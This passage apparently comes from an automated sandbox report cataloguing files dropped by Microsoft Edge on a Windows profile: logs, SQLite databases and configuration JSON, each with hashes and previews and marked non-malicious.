SSDEEP:	12:APZQyvVaYebvqBZFUt8JPuAg/+JPuMQR5OaYebvqBaJ:APDVaYebvyg8JPuWPuZOaYebvL
MD5:	E0DBE07EFA5BEECCFAB759F61AACF764
SHA1:	86879E1AB4C392C1E98DC97BCDE0A051BA5B3D91
SHA-256:	A8209DDB5D0557491363F90CCD945AF48A4275299416FF9A6CE9DA29D4DA2142
SHA-512:	D75B36E173E2DE171764A8D518AA00A8E3611D371345D2060FCB6D5562E1B7A0BE9102F552AAF7847C6479422857A7A8441EA29456C24FD2D2190C49C61AE8D6
Malicious:	false
Preview:	2024/11/22-08:44:00.849 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-08:44:00.850 1690 Recovering log #3.2024/11/22-08:44:00.854 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.183549652044709
Encrypted:	false
SSDEEP:	6:HgEJgSVq2PN723oH+TcwtpIFUt8YgEnCgZmw+YgEnCIkwON723oH+Tcwta/WLJ:AEJxvVaYebmFUt8JEnn/+JEn15OaYeb7
MD5:	BDDDAB8A7A2DC39B620F3F29CFE35C57
SHA1:	C428D6CFFD1E89D2C5B3C9FC7C634B2A6CE98456
SHA-256:	DD8A6C41CFA5A2D36D6DBAE00D74E9F49E53399D66F9C2A718C2DE3C2BD585D5
SHA-512:	EF8B7B9726C043006D5976A7127F3F84DB26A31999E70140CECB28A1183F7836731B1B333E659C75429B3D358E854F064CA5E1086EDC83ECCDD5358945F1B105
Malicious:	false
Preview:	2024/11/22-08:43:42.151 1d94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-08:43:42.152 1d94 Recovering log #3.2024/11/22-08:43:42.152 1d94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.183549652044709
Encrypted:	false
SSDEEP:	6:HgEJgSVq2PN723oH+TcwtpIFUt8YgEnCgZmw+YgEnCIkwON723oH+Tcwta/WLJ:AEJxvVaYebmFUt8JEnn/+JEn15OaYeb7
MD5:	BDDDAB8A7A2DC39B620F3F29CFE35C57
SHA1:	C428D6CFFD1E89D2C5B3C9FC7C634B2A6CE98456
SHA-256:	DD8A6C41CFA5A2D36D6DBAE00D74E9F49E53399D66F9C2A718C2DE3C2BD585D5
SHA-512:	EF8B7B9726C043006D5976A7127F3F84DB26A31999E70140CECB28A1183F7836731B1B333E659C75429B3D358E854F064CA5E1086EDC83ECCDD5358945F1B105
Malicious:	false
Preview:	2024/11/22-08:43:42.151 1d94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-08:43:42.152 1d94 Recovering log #3.2024/11/22-08:43:42.152 1d94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267945757239943
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMKSA1LyKOMq+8iP5GDHP/0jMVumD:Kq+n0JK91LyKOMq+8iP5GLP/0a
MD5:	2A8CE2A941675F9EFB56A5EAD263D4BB
SHA1:	595E8ADFBC0C7989AE72A187C5BE27336B5F9ABB
SHA-256:	6839D95533A99779416C92A5E2B984C8352AAB0B399E8FCB773A5A8C3733E872
SHA-512:	1335195B14B63CEF4DFAEC262042B64CBF9E1B6A03798CF5D2DC653E3B38D55E30E836B03D038A287E293B6B51F1CBDCD090419C7F2C08F791555FA1C0AB1164
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4668467562034257
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBZ4:v7doKsKuKZKlZNmu46yjxC
MD5:	8350023645DE3397D500E1E796F3DC68
SHA1:	41C35CFD4F5278A2A91CE147124DD06009EE502D
SHA-256:	A0E183BF5EC1A2881317C3E20DF9E452249C7AFD78AE3348B9652E0641BF804A
SHA-512:	5ABED8DBE9E943FE629FFBD23F15DA6D50B51B645EF4C844D8310CF8B5C57F7DAB117CD9258F2D7B9714F0C2D632FDC1FA880ACD1675915E888F7EF5A653C263
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e41ddfc0-b344-4964-967c-400f6f4520fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56705557919165
Encrypted:	false
SSDEEP:	768:JFhNkPW0UW5wvDf4EH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPx9IJWJbrwXkbXApG:JvuPxUWavDflHu1jaI+SwUbXttP
MD5:	D1E76802A1AE4D281E4D8D19C5B1D8AD
SHA1:	D2C440954597B713848C0C7138CA37C288590B48
SHA-256:	076CA5A391821D9D102174F729567E93C2C02808EFA381E9E117B7BC879E31D9
SHA-512:	32340E4409E2E7573F1E1AF5A296469A67CD3BA994882E260CCAEDCE5DD5D3A71871A19334F6C36694F60F3BE0CC26CC3B521E1C62EA06087C59FF2B2560CC97
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376756622127602","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376756622127602","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\edfaaec6-bb45-457c-b634-512fc7ddc3af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09918685720522503
Encrypted:	false
SSDEEP:	12:lD8DaQLpEjVl/PnnnnnnnnnnvoQREoBmY7:lQrtoPnnnnnnnnnnvbjcY
MD5:	14C2941628BAD8D742F419C04C1454F5
SHA1:	BFD6949BE120D1C1C028541B26DD9B418F28E38B
SHA-256:	1F6687460BA90117523D92901EC67E8DAF0D8ED53084DC72B85A8779EB79BCE2
SHA-512:	236E8CFCEE2E74152703D1306EE335BE8B41AF3DC704ECFBE2DE167B8DFBAD200E98B607462F270671F40E459EC0756F1BC9DE1E9B65DAE69803D976882502EA
Malicious:	false
Preview:	..-.............I............_F$J...V..B.ehmO/...-.............I............_F$J...V..B.ehmO/.........E...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	300792
Entropy (8bit):	0.8470647054526913
Encrypted:	false
SSDEEP:	768:NzgJvju2FPcup6BuDoDu66UubZOu7Wt0umzK0u8I5:E7u2eupOuD+u6PubUu7pumLu8O
MD5:	AF216DF4030F7E355B228EA924E405E8
SHA1:	9F85E81CCF5CAC82D06AE2BEDD28499A439B18A4
SHA-256:	09E19D580B694E20F83550F3649F646D84FD60FED4E926512AF128C2111EF609
SHA-512:	502258DAA45B5F173799D1B36644EB741D45FBAC90E044AA44AE732DEB4A87A9614B231F064735E066B9634CF89BFE00746DBAA9F4993AC37886202EC317A630
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.540635249744496
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuZll1MqmE8nU:pHayZl1MC
MD5:	0794AE40A42C94DF146C10084BC17208
SHA1:	CDC6E8A4BB60FC9BB78A4CF544B15B0A7D3383D9
SHA-256:	A22F4461CB94EBAEC7A4A1558AF26BD23AB8D7C9733E2AB7A776CC73B2042BD2
SHA-512:	1FCF3755A49D2275AF366CE6B0123642088F283F3FDB58A1FFBA56F331274D5C99F3FDC8A044A1F72DB58C41B18B46DCEEB94AC9312BA173411BA8A9BD86D963
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............N(..;...............#38_h.......6.Z..W.F.....Q.......Q............V.e................V.e..................M70................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.18702015587138
Encrypted:	false
SSDEEP:	6:HgEck9yq2PN723oH+TcwtfrK+IFUt8YgEckr1Zmw+YgEccs9RkwON723oH+Tcwt5:AElAvVaYeb23FUt8JElr1/+JEU75OaYq
MD5:	82BC3BFAC3EFB3CEC6B6D068FA3C3FAB
SHA1:	CE0CE12850BB3DF31FD85F500BBD741E6704CDCB
SHA-256:	83B09A19ED3CF19785AA2AAD8276ABD03D1FD9041E7FAD69AA86EBBC05A97813
SHA-512:	5C0E6AB63CB1C12D9ADBD4FC812A21F116F10A877C0B215C0A8D35A0234FE7ADB1E7F98CE099FF43CDC50F340125F9A7FFAE2CD58B49CA8C5EE3BA60D768A2DD
Malicious:	false
Preview:	2024/11/22-08:43:42.690 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-08:43:42.690 1ca0 Recovering log #3.2024/11/22-08:43:42.691 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.18702015587138
Encrypted:	false
SSDEEP:	6:HgEck9yq2PN723oH+TcwtfrK+IFUt8YgEckr1Zmw+YgEccs9RkwON723oH+Tcwt5:AElAvVaYeb23FUt8JElr1/+JEU75OaYq
MD5:	82BC3BFAC3EFB3CEC6B6D068FA3C3FAB
SHA1:	CE0CE12850BB3DF31FD85F500BBD741E6704CDCB
SHA-256:	83B09A19ED3CF19785AA2AAD8276ABD03D1FD9041E7FAD69AA86EBBC05A97813
SHA-512:	5C0E6AB63CB1C12D9ADBD4FC812A21F116F10A877C0B215C0A8D35A0234FE7ADB1E7F98CE099FF43CDC50F340125F9A7FFAE2CD58B49CA8C5EE3BA60D768A2DD
Malicious:	false
Preview:	2024/11/22-08:43:42.690 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-08:43:42.690 1ca0 Recovering log #3.2024/11/22-08:43:42.691 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.185266734427023
Encrypted:	false
SSDEEP:	6:HgEQOjyq2PN723oH+TcwtfrzAdIFUt8YgEQO11Zmw+YgEORkwON723oH+Tcwtfrm:AETOvVaYeb9FUt8JET11/+JEq5OaYebS
MD5:	4CF7195631E29AE8FB4EB740B349278A
SHA1:	1F19EF0C27286424D21F1F6B86198C121F648D61
SHA-256:	F0F69504C5967CE9C02FA60FC514AF4E3A7C07BDCAC429F4FFBA96B388A1684B
SHA-512:	0DFA8953ECDCF9E2952F2F8028D11D7CFCA0F356004EE2C67876745F35D0AE924D46A0B5B70E8DA25C2FE55343C37F6F964611AB4E45C6BE498F2195F4D35C29
Malicious:	false
Preview:	2024/11/22-08:43:42.687 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-08:43:42.687 1ca0 Recovering log #3.2024/11/22-08:43:42.688 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.185266734427023
Encrypted:	false
SSDEEP:	6:HgEQOjyq2PN723oH+TcwtfrzAdIFUt8YgEQO11Zmw+YgEORkwON723oH+Tcwtfrm:AETOvVaYeb9FUt8JET11/+JEq5OaYebS
MD5:	4CF7195631E29AE8FB4EB740B349278A
SHA1:	1F19EF0C27286424D21F1F6B86198C121F648D61
SHA-256:	F0F69504C5967CE9C02FA60FC514AF4E3A7C07BDCAC429F4FFBA96B388A1684B
SHA-512:	0DFA8953ECDCF9E2952F2F8028D11D7CFCA0F356004EE2C67876745F35D0AE924D46A0B5B70E8DA25C2FE55343C37F6F964611AB4E45C6BE498F2195F4D35C29
Malicious:	false
Preview:	2024/11/22-08:43:42.687 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-08:43:42.687 1ca0 Recovering log #3.2024/11/22-08:43:42.688 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c39f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089804859049461
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMXkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynAokzItSmd6qE7lFoC
MD5:	C7DFBDCA02B440CCFDDF2DF9ADE742D9
SHA1:	E6EDBA6CEF177AE9A17CE9791091396E5D462654
SHA-256:	9280A8EC2D52FB2FB2CF15E18007A05F41E66B58BDDE736A10F7CFE78958881E
SHA-512:	950BA6BB61F8477D3506FD8B8AACCA30C10D5720FC596C41430715E7BB0AAD388119A105146A99B6C53E47A5F77FFD009FE034270EC19ECA3EE2E35779DC0170
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c3af.TMP (copy)

Download File

